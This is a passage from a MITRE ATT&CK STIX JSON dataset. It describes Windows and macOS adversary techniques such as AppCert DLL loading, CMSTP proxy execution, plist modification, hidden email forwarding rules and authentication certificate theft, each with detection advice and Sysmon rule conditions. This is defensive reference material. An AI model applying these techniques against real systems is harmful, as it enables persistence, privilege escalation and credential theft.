may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236",
            "created": "2022-04-09T15:06:32.458Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1647",
                    "external_id": "T1647"
                },
                {
                    "source_name": "eset_osx_flashback",
                    "description": "ESET. (2012, January 1). OSX/Flashback. Retrieved April 19, 2022.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf"
                },
                {
                    "source_name": "fileinfo plist file description",
                    "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.",
                    "url": "https://fileinfo.com/extension/plist"
                },
                {
                    "source_name": "wardle chp2 persistence",
                    "description": "Patrick Wardle. (2022, January 1). The Art of Mac Malware Volume 0x1:Analysis. Retrieved April 19, 2022.",
                    "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
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            "modified": "2025-04-15T22:57:13.867Z",
            "name": "Plist File Modification",
            "description": "Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application\u2019s <code>info.plist</code> file  to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)",
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                {
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for common command-line editors used to modify plist files located in auto-run locations, such as <code>\\~/LaunchAgents</code>, <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>, and an application's <code>Info.plist</code>. \n\nMonitor for plist file modification immediately followed by code execution from <code>\\~/Library/Scripts</code> and <code>~/Library/Preferences</code>. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "File: File Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7d356151-a69d-404e-896b-71618952702a",
            "created": "2025-03-21T13:36:48.710Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1127/003",
                    "external_id": "T1127.003"
                },
                {
                    "source_name": "Cyble",
                    "description": "Cyble. (2024, September 9). Reputation Hijacking with JamPlus: A Maneuver to Bypass Smart App Control (SAC). Retrieved March 21, 2025.",
                    "url": "https://cyble.com/blog/reputation-hijacking-with-jamplus-a-maneuver-to-bypass-smart-app-control-sac/"
                },
                {
                    "source_name": "Elastic Security Labs",
                    "description": "Joe Desimone. (2024, August 5). Dismantling Smart App Control. Retrieved March 21, 2025.",
                    "url": "https://www.elastic.co/security-labs/dismantling-smart-app-control"
                },
                {
                    "source_name": "JamPlus manual",
                    "description": "Perforce Software, Inc.. (n.d.). JamPlus manual: Quick Start Guide. Retrieved March 21, 2025.",
                    "url": "https://jamplus.github.io/jamplus/quick_start.html"
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            "modified": "2025-04-17T21:42:31.066Z",
            "name": "JamPlus",
            "description": "Adversaries may use `JamPlus` to proxy the execution of a malicious script. `JamPlus` is a build utility tool for code and data build systems. It works with several popular compilers and can be used for generating workspaces in code editors such as Visual Studio.(Citation: JamPlus manual)\n\nAdversaries may abuse the `JamPlus` build utility to execute malicious scripts via a `.jam` file, which describes the build process and required dependencies. Because the malicious script is executed from a reputable developer tool, it may subvert application control security systems such as Smart App Control.(Citation: Cyble)(Citation: Elastic Security Labs)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
            "created": "2020-01-24T14:47:41.795Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/009",
                    "external_id": "T1546.009"
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                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "Sysinternals AppCertDlls Oct 2007",
                    "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20130401232752/https://forum.sysinternals.com/appcertdlls_topic12546.html"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:44.894Z",
            "name": "AppCert DLLs",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Command: Command Execution",
                "Process: OS API Execution",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1191",
                    "external_id": "T1191"
                },
                {
                    "source_name": "Microsoft Connection Manager Oct 2009",
                    "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)"
                },
                {
                    "source_name": "Twitter CMSTP Usage Jan 2018",
                    "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.",
                    "url": "https://twitter.com/ItsReallyNick/status/958789644165894146"
                },
                {
                    "source_name": "MSitPros CMSTP Aug 2017",
                    "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                    "url": "https://msitpros.com/?p=3960"
                },
                {
                    "source_name": "Twitter CMSTP Jan 2018",
                    "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.",
                    "url": "https://twitter.com/NickTyrer/status/958450014111633408"
                },
                {
                    "source_name": "GitHub Ultimate AppLocker Bypass List",
                    "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
                    "url": "https://github.com/api0cradle/UltimateAppLockerByPassList"
                },
                {
                    "source_name": "Endurant CMSTP July 2018",
                    "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.",
                    "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:47.218Z",
            "name": "CMSTP",
            "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
                "Nik Seetharaman, Palantir"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1188",
                    "external_id": "T1188"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:47.381Z",
            "name": "Multi-hop Proxy",
            "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
            "created": "2020-02-19T18:54:47.103Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1114/003",
                    "external_id": "T1114.003"
                },
                {
                    "source_name": "Mac Forwarding Rules",
                    "description": "Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.",
                    "url": "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac"
                },
                {
                    "source_name": "Pfammatter - Hidden Inbox Rules",
                    "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
                    "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"
                },
                {
                    "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
                    "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
                    "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
                },
                {
                    "source_name": "Microsoft Mail Flow Rules 2023",
                    "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
                    "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:26:55.201Z",
            "name": "Email Forwarding Rule",
            "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Microsoft Security",
                "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)",
                "Liran Ravich, CardinalOps",
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "Office Suite"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Application Log: Application Log Content",
                "Cloud Service: Cloud Service Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
            "created": "2017-05-31T21:30:58.938Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1074",
                    "external_id": "T1074"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
                },
                {
                    "source_name": "PWC Cloud Hopper April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "url": "https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:45.225Z",
            "name": "Data Staged",
            "description": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian",
                "Shane Tully, @securitygypsy"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "File: File Access",
                "File: File Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331",
            "created": "2022-08-03T03:20:58.955Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1649",
                    "external_id": "T1649"
                },
                {
                    "source_name": "GitHub GhostPack Certificates",
                    "description": "HarmJ0y. (2018, August 22). SharpDPAPI - Certificates. Retrieved August 2, 2022.",
                    "url": "https://github.com/GhostPack/SharpDPAPI#certificates"
                },
                {
                    "source_name": "Microsoft AD CS Overview",
                    "description": "Microsoft. (2016, August 31). Active Directory Certificate Services Overview. Retrieved August 2, 2022.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)"
                },
                {
                    "source_name": "Medium Certified Pre Owned",
                    "description": "Schroeder, W. (2021, June 17). Certified Pre-Owned. Retrieved August 2, 2022.",
                    "url": "https://posts.specterops.io/certified-pre-owned-d95910965cd2"
                },
                {
                    "source_name": "SpecterOps Certified Pre Owned",
                    "description": "Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.",
                    "url": "https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"
                },
                {
                    "source_name": "O365 Blog Azure AD Device IDs",
                    "description": "Syynimaa, N. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved August 3, 2022.",
                    "url": "https://o365blog.com/post/deviceidentity/"
                },
                {
                    "source_name": "GitHub CertStealer",
                    "description": "TheWover. (2021, April 21). CertStealer. Retrieved August 2, 2022.",
                    "url": "https://github.com/TheWover/CertStealer"
                },
                {
                    "source_name": "APT29 Deep Look at Credential Roaming",
                    "description": "Thibault Van Geluwe De Berlaere. (2022, November 8). They See Me Roaming: Following APT29 by Taking a Deeper Look at Windows Credential Roaming. Retrieved November 9, 2022.",
                    "url": "https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:12:50.646Z",
            "name": "Steal or Forge Authentication Certificates",
            "description": "Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\u2019s subject alternative name (SAN) values define the certificate owner\u2019s alternate names.(Citation: Medium Certified Pre Owned)\n\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as \u201cgolden\u201d certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)",
